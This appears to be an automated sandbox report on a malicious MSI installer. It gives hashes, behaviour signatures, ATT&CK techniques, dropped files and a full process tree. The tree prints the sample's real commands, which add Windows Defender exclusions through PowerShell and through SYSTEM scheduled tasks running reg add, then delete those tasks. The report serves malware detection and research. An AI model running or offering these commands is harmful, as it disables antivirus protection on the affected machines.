6caf731a5f916170d46a11e8e1ab497bbecd7a6386ba066908c8f716ef4a0399

Analysis

max time kernel
14s
max time network
55s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zinst.6638258007.msi
Size 7.9MB
Sample260707-vtpvasbs2k
SHA256 6caf731a5f916170d46a11e8e1ab497bbecd7a6386ba066908c8f716ef4a0399
MD5 ae5e2b351b5951639320577b7286e2fc
SHA1 ea080b7c289fdaf92ac7171463a6b33f9da0f731
SHA512 3ea7f1322ad58dea00310a8502e4c3ab7cd6f8562abd3bf6a8b17154876d0f006fdb7a0228fdc7650f5c593b73e5b15d91f0d256f6c01784e8dbf2d7e153a557
SSDEEP 196608:qUV55WM4PgZyGlpYP5ovOx/Hli9BsHSlNV7LF4QNN/OkN0:P7QAlSPKvOR0Bsyt7LiMN/Ok6
TLSH
T1398633856CCB5231C45BE3B00A48157F326E3FCA6FB44E2E36E6B55D3E3242944B6789
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
924	cmd.exe
2840	cmd.exe
3000	cmd.exe
4764	cmd.exe
1620	cmd.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5272	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b21809b5aa32d6460000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801b21809b50000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101b21809b5000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3b21809b500000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6b21809b500000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2112	schtasks.exe
2852	schtasks.exe
6132	schtasks.exe
5860	schtasks.exe
5192	schtasks.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5272	msiexec.exe
Token: SeSecurityPrivilege	5620	msiexec.exe
Token: SeCreateTokenPrivilege	5272	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5272	msiexec.exe
Token: SeLockMemoryPrivilege	5272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5272	msiexec.exe
Token: SeMachineAccountPrivilege	5272	msiexec.exe
Token: SeTcbPrivilege	5272	msiexec.exe
Token: SeSecurityPrivilege	5272	msiexec.exe
Token: SeTakeOwnershipPrivilege	5272	msiexec.exe
Token: SeLoadDriverPrivilege	5272	msiexec.exe
Token: SeSystemProfilePrivilege	5272	msiexec.exe
Token: SeSystemtimePrivilege	5272	msiexec.exe
Token: SeProfSingleProcessPrivilege	5272	msiexec.exe
Token: SeIncBasePriorityPrivilege	5272	msiexec.exe
Token: SeCreatePagefilePrivilege	5272	msiexec.exe
Token: SeCreatePermanentPrivilege	5272	msiexec.exe
Token: SeBackupPrivilege	5272	msiexec.exe
Token: SeRestorePrivilege	5272	msiexec.exe
Token: SeShutdownPrivilege	5272	msiexec.exe
Token: SeDebugPrivilege	5272	msiexec.exe
Token: SeAuditPrivilege	5272	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5272	msiexec.exe
Token: SeChangeNotifyPrivilege	5272	msiexec.exe
Token: SeRemoteShutdownPrivilege	5272	msiexec.exe
Token: SeUndockPrivilege	5272	msiexec.exe
Token: SeSyncAgentPrivilege	5272	msiexec.exe
Token: SeEnableDelegationPrivilege	5272	msiexec.exe
Token: SeManageVolumePrivilege	5272	msiexec.exe
Token: SeImpersonatePrivilege	5272	msiexec.exe
Token: SeCreateGlobalPrivilege	5272	msiexec.exe
Token: SeBackupPrivilege	5044	vssvc.exe
Token: SeRestorePrivilege	5044	vssvc.exe
Token: SeAuditPrivilege	5044	vssvc.exe
Token: SeBackupPrivilege	5620	msiexec.exe
Token: SeRestorePrivilege	5620	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5272	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5272	msiexec.exe
5620	msiexec.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\zinst.6638258007.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5272

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5620
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1208
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding C00F74202BA498F2737C7855AAC67603 E Global\MSI0000
  2⤵
  PID:1216

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Users\Public\ik0aNc\ZdX5ag.exe
"C:\Users\Public\ik0aNc\ZdX5ag.exe"
1⤵
PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ik0aNc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ik0aNc\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3440

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ik0aNc" /t REG_DWORD /d 0 /f
1⤵
PID:4964
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ik0aNc" /t REG_DWORD /d 0 /f
  2⤵
  PID:2368

C:\Windows\System32\cmd.exe
cmd.exe
1⤵
PID:2988

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
PID:4960
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
PID:6124
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5892

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
PID:1936
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3468

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
PID:1856
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5942ec.rbs

Path C:\Config.Msi\e5942ec.rbs
Size 7KB
SHA256 49a3c37061093281924a0d38968b46395067f36c26eacfde58bf927d5a2daa90
MD5 10af2a7da0a3a022eeea8cb45b97d091
SHA1 0917a05cddbe0ac412e72c89a3e18c82f5afae9a
SHA512 94012cc944b2d0a4cae61c608542eaba1c5b19f38fa9f16bc1a8afff8a850790dc043a4f46a52872b9e716a06c004d851ee0dcbdc79dae78c7aac6fb1f359e69
SSDEEP 192:DzCfNv8JbI1JbMSwF83JHsS15ePWfvp5EAIrCRm8X:DlJOJr0y
TLSH
T103F11F42B6444EE2F8D31F7AC7035B6A37B2D7E95314A31F48CD48701F427C99EAA58A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\ik0aNc\UxEnhance64.dll
Size 730KB
SHA256 cbcca767a07499b07e9817e40096468caa2371466858eadcf197399116fd988d
MD5 717451d67feef65e9506c9f8f5df9588
SHA1 149a8e77c1586dfcbd8bd731a0e51661825dc169
SHA512 beb90c40a4a0366f911d675ac5d4c018c54ddcb9e038a4d5e1f99828fd52fc2d502b254157c0d19768b25caefd3d65bee9d2c346fc80d9e12a39952dac93f065
SSDEEP 12288:kQZcRf4x6CduzvP0quq7WwgMPmVqVTS7JDDk8qfW1SUMs4ysZq:vcRf0C77yVqolDlq+oUiHq
TLSH
T137F412B2162334F7E87950B2FF68E3A838052F767F1B6E1F9345611A480A6F39B12715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\ik0aNc\UxEnhance64.dll
Size 644KB
SHA256 d29cc0ea4d1030988f357c1f7d8864f0f951a127ed492032af59692e4d115348
MD5 bed34d594653b4d1aa1ad3a003b05b72
SHA1 b78a25001a8dd1367c22f9aba0a1408f590a2dbb
SHA512 3ed4a8dc9cba2db35f82e346ca1735b18aeff1eba02085fd1c58b6b872b30949bf5451a54317713869ac12ae93190fe9b58d913eadcc620fd34d0f568aea2880
SSDEEP 12288:kQZcRf4x6CduzvP0quq7WwgMPmVqVTS7JDDk8qfWi:vcRf0C77yVqolDlq+i
TLSH
T187E412B2122334F3E8B990F1FF24E3A839442F3A7F1B6A2F9345611A491A5F39B51715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZdX5ag.exe

Path C:\Users\Public\ik0aNc\ZdX5ag.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\ik0aNc\adoresd.dat
Size 623KB
SHA256 dc41a5ce60389dba81be96014581098912c4fb366b3ca98bdd0325328e19f9eb
MD5 77c862a8b0e1a69b5d5c1d6e3ab714af
SHA1 91786d44624e6b33168bcafcc2accbd7a01d9687
SHA512 7d91c5c66c37692c8b8effbeaabf8eee5d3111ed8d542b42e5392f0b3110c7bd15ce91bb1db8bb773ed18687d20d5d4671f5c1dc581f43d5d16327be85108d0c
SSDEEP 12288:g48EHkRsBOsCpnmsvXwsVr6RwpI06hB/M2iOpyU:hHoqCp1wsVWu2//0O1
TLSH
T1B4D423EF538CEE0ADCD1D2E93891A6D9A8564BB292557007F0CC3851A91C4BFFE3CA51
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\ik0aNc\msadox.tb
Size 8KB
SHA256 6e1215603e4a0c4d0ff936ecf477ccae92dc02316cdf9f6297083127abb8901d
MD5 a75c306e5275f0c18faa43d1b16a9031
SHA1 7edded5a13577ac69a74c328b5b9628e2b7cccef
SHA512 f52c8d8ca21c5b17286e978ef1fe0f631da3cfc93c66c0fee56594244f002f51a0cafab28bd8effea5cd9b1efd72a6d03b009f17a263a34a02fa84cafb703779
SSDEEP 192:bqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:bsZqZOXQ3uqvR2Kfzp
TLSH
T1E7029E05D7A20DC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI49A3.tmp

Path C:\Windows\Installer\MSI49A3.tmp
Size 7.8MB
SHA256 b8ed9f9ccbbc77953448c0e415836b033e240af827ad2ae94edf3dbda38dc59c
MD5 ae516963ab7f32a574a408f8dfe3d01d
SHA1 e91fa0b0fcd340544a2dcfa43325414e0734387f
SHA512 c01fd0007e1c4a73aa3405440db168e1d55087d464da6f021eb5fe93e8d918bbcaba5f7e48e9e9e9ae3c6ce73b16a4e0616658822df8dfc81a5e789b91724d0d
SSDEEP 196608:SUV55WM4PgZyGlpYP5ovOx/Hli9msHSlNV7LF4QNN/OkNQ:H7QAlSPKvOR0msyt7LiMN/Ok6
TLSH
T1158633C52CCF9171C45BE3B01A48253F326A37CB5FB84E2D36E6956D2F3241948BA789
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5942eb.msi

Path C:\Windows\Installer\e5942eb.msi
Size 1.1MB
SHA256 36f7c20e35547b0c65b2767759fc293a599695e4212e2caac6c07901c7cbd955
MD5 fb874c4b129d030e82866f44540e3474
SHA1 2746cd9f890f4bc05f031f460255f51a7189f0a8
SHA512 f3ac7807c76bfc6a624f29dcb4c34bc63a36ef86d911d6955f3c65e69ce874befb1b2866023c2bd6d909adb4ff87312967e95656a6c8c7e813732d79ce6d0330
SSDEEP 24576:qxAd6NUxhSOwDBPyX662IqChmJ+cbSs44aBrhBhi5pUP/kZ/:qxAd6WDw12665RcbD4Hj45F5
TLSH
T14C3523826D9F7633C48FB3721688072E76864CC7BE6FA91699F1331D49B162F48D0B46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 2.8MB
SHA256 0331cfce19398fe172c87af626b8fd09e5c478f0782d76e0d8d105b3353c8aa4
MD5 5ae392d14e8961857fd5314bd554c8c9
SHA1 00495c72af55c2c881e5843c7e9dca16c4bb875b
SHA512 1fe4b5dc02d49bb4964b8e87898785997f5cac1ea247fb758d2a77273f7a05c3e0f2b65e9620e710e9a45a2bcb6068a61478539d672e6869ece48771c434b21a
SSDEEP 6144:qNuY2x+SaX+BiXWOS9E2XK+a4T9B45K51r:mq
TLSH
T162D5512136ED2140EBF3AE6DBCB46A248E3D7D1B5C26C94D01161E4D0961FA1DC73FAA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{9ded9332-8bf0-4994-99e9-df2d4a76ae15}_OnDiskSnapshotProp

Path \??\Volume{b50918b2-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9ded9332-8bf0-4994-99e9-df2d4a76ae15}_OnDiskSnapshotProp
Size 6KB
SHA256 9a80abcd69fd09f4b81f0144e0328e2e5b304829bc940fddc5c5e2c5e9b9a4ca
MD5 7246022552bd47e363bd40f46119b4a6
SHA1 55e1949f43a09d2283542afabc72e8cec557e976
SHA512 d42350870aa5dd4837278e02ee5ed558d2db8c8ab3b840ce963d3a237c73215bbf3a6ef2aa80c0da0a4f98584588996cc8624bdbf4e01a6ef9bbb749b30aa448
SSDEEP 96:Ff6sBvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:BZb++uVm
TLSH
T100D178185AE54711E2B3AB3129F18557A877B911EF33CB8E0198238E2671A10F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1216-44-0x00007FFE68BA0000-0x00007FFE68BB2000-memory.dmp

Download

memory/1216-16-0x00007FFE68BA0000-0x00007FFE68BB2000-memory.dmp

Download

memory/1216-12-0x00007FFE73730000-0x00007FFE73732000-memory.dmp

Download

memory/1216-13-0x00007FFE50130000-0x00007FFE5075F000-memory.dmp

Download

memory/2876-108-0x0000019B3FC80000-0x0000019B3FC8A000-memory.dmp

Download

memory/2876-107-0x0000019B3FF20000-0x0000019B3FFD2000-memory.dmp

Download

memory/2876-106-0x0000019B3FC60000-0x0000019B3FC7E000-memory.dmp

Download

memory/2876-103-0x0000019B277C0000-0x0000019B277E2000-memory.dmp

Download

memory/5028-67-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-71-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-72-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-73-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-74-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-78-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-89-0x000001671B3C0000-0x000001671B44A000-memory.dmp

Download

memory/5028-88-0x000001671B3C0000-0x000001671B44A000-memory.dmp

Download

memory/5028-87-0x000001671B3C0000-0x000001671B44A000-memory.dmp

Download

memory/5028-85-0x000001671B3C0000-0x000001671B44A000-memory.dmp

Download

memory/5028-84-0x000001671B230000-0x000001671B27E000-memory.dmp

Download

memory/5028-91-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-93-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-94-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-66-0x00007FFE73740000-0x00007FFE73742000-memory.dmp

Download

memory/5028-64-0x000001671BF30000-0x000001671C7EE000-memory.dmp

Download

memory/5028-58-0x00007FFE73730000-0x00007FFE73732000-memory.dmp

Download

memory/5028-59-0x00007FFE50230000-0x00007FFE50756000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads